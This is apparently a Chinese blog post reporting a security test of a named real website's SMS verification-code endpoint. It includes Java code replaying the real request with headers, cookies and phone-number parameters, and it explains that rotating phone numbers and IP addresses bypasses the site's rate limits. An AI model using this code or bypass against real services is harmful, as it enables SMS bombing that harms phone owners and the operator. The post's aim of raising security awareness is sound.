– “隱患險于明火，防范勝于救災(zāi)，責(zé)任重于泰山”

前言

本文詳細介紹了針對發(fā)送短信驗證碼接口的安全性測試過程，包含思路、部分測試代碼已經(jīng)測試結(jié)果。
本次測試網(wǎng)站 —聽云（tingyun.com）
聽云是一家提供數(shù)字化運維服務(wù)的網(wǎng)站，給運維人元提供數(shù)字化運維后臺，能為運維工作提供便利。

一丶找到對外短信接口

從該網(wǎng)站注冊入口可以發(fā)現(xiàn)，有發(fā)送短信驗證碼的地方。

二丶分析外部防御措施

1. 輸入手機號
   

2. 點擊發(fā)送驗證碼
   

發(fā)現(xiàn)并沒有圖片驗證碼等人機校驗

外部防御措施：無

三丶查看請求報文

1. 找到發(fā)送短信的請求

按下F12打開瀏覽器控制臺，再次點擊發(fā)送驗證碼按鈕通過控制臺找出發(fā)送短信的那個請求。

2. 查看請求方式

3. 查看請求報文頭

4. 查看請求參數(shù)

5. 查看返回值

四丶分析測試

1. 直接在瀏覽器測試

該請求為get請求，又無可疑參數(shù)，可直接復(fù)制到地址欄里進行訪問，試一下。

果然可以，那么再試試直接換個手機號。

多刷新幾次頁面。

這時候返回了別的參數(shù)，再次更改手機號。

發(fā)現(xiàn)又返回了success，可以判斷出，他們做了單手機號頻率限制。

2. 用代碼進行測試

利用Java模擬報文請求 ，進行測試。部分代碼如下：

//配置請求頭
public Object setHeads(CloseableHttpClient httpclient, CookieStore cookieStore, Hashtable<String, String> inheads, LinkedHashMap<String, String> outheads, Hashtable<String, String> input) {
		inheads.put("Accept", "application/json, text/plain, */*");
		inheads.put("Cache-Control", "no-cache");
		inheads.put("Connection", "keep-alive");
		inheads.put("Host", "account.tingyun.com");
		inheads.put("Pragma", "no-cache");
		inheads.put("Referer", "https://account.tingyun.com/reg/register?userFrom=tingyun");
		inheads.put("Sec-Fetch-Mode", "cors");
		inheads.put("Sec-Fetch-Site", "same-origin");
		inheads.put("User-Agent", "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/76.0.3809.100 Safari/537.36");
		inheads.put("X-Tingyun-Id", "V1uX-VqWBw4;r=624124609");
		getCookie(cookieStore, httpclient, "https://account.tingyun.com/reg/register?userFrom=tingyun", inheads, outheads);
		String cookieStr = GetCookieHead.CookieHashToString(outheads);
		if (cookieStr != null) {
			inheads.put("Cookie", cookieStr);
		}
		return inheads;
	}

//配置請求參數(shù)
public Object setParams(CloseableHttpClient httpclient, CookieStore cookieStore, Hashtable<String, String> inheads, LinkedHashMap<String, String> outheads, Hashtable<String, String> input, String phone) {
		List<BasicNameValuePair> paramList = new ArrayList<>();
		paramList.add(new BasicNameValuePair("ctime", new SimpleDateFormat("'\"'yyyy-MM-dd'T'HH:mm:ss.SSS'Z\"'").format(System.currentTimeMillis())));
		paramList.add(new BasicNameValuePair("mobile", phone));
		paramList.add(new BasicNameValuePair("type", "registerNew"));
		paramList.add(new BasicNameValuePair("webc", "regweb"));
		return paramList;
	}

//配置請求
public RetEntity reg(CloseableHttpClient httpclient, CookieStore cookieStore, Hashtable<String, String> input, String phone) {
		Hashtable<String, String> inheads = new Hashtable<>();
		LinkedHashMap<String, String> outheads = new LinkedHashMap<>();
		httpclient = createSSLClientDefault();
		RetEntity retEntity = this.userClick(httpclient, cookieStore, "get", "https://account.tingyun.com/reg/ldaf_send_mobile_new283455", inheads, outheads, input, phone);
		closeHttpClient(httpclient);
		return retEntity;
	}

啟動測試：

1-40次：{"status":"Sucess"}

>40次：{"status":"randomCountError"}

猜測可能是Ip限制，更換ip后再次測試。

結(jié)果為：{"status":"Sucess"}

五丶結(jié)果分析

測試目標：

針對發(fā)送短信驗證碼接口進行安全性測試。

測試思路：

1.找到請求接口
2.分析請求報文
3.模擬請求測試

測試結(jié)果：

1.單手機號頻率限制（3次/分鐘）
2.單IP次數(shù)限制（50次/天）

測試結(jié)論：

單做了手機號頻率以及IP次數(shù)限制，當遇到大量更換手機號以及IP的攻擊時，該網(wǎng)站的所有防御措施均無效。

風(fēng)險等級： 高

六丶結(jié)語

很多人在短信服務(wù)剛開始建設(shè)的階段，可能不會在安全方面考慮太多，理由有很多。
比如：“ 需求這么趕，當然是先實現(xiàn)功能啊 ”，“ 業(yè)務(wù)量很小啦，系統(tǒng)就這么點人用，不怕的 ” ， “ 我們怎么會被盯上呢，不可能的 ”等等。

有一些理由雖然有道理，但是該來的總是會來的。前期欠下來的債，總是要還的。越早還，問題就越小，損失就越低。

所以大家在安全方面還是要重視。（血淋淋的栗子?。?a style="box-sizing: border-box; text-decoration-line: none; background-color: transparent; color: #4ea1db;" >#安全短信#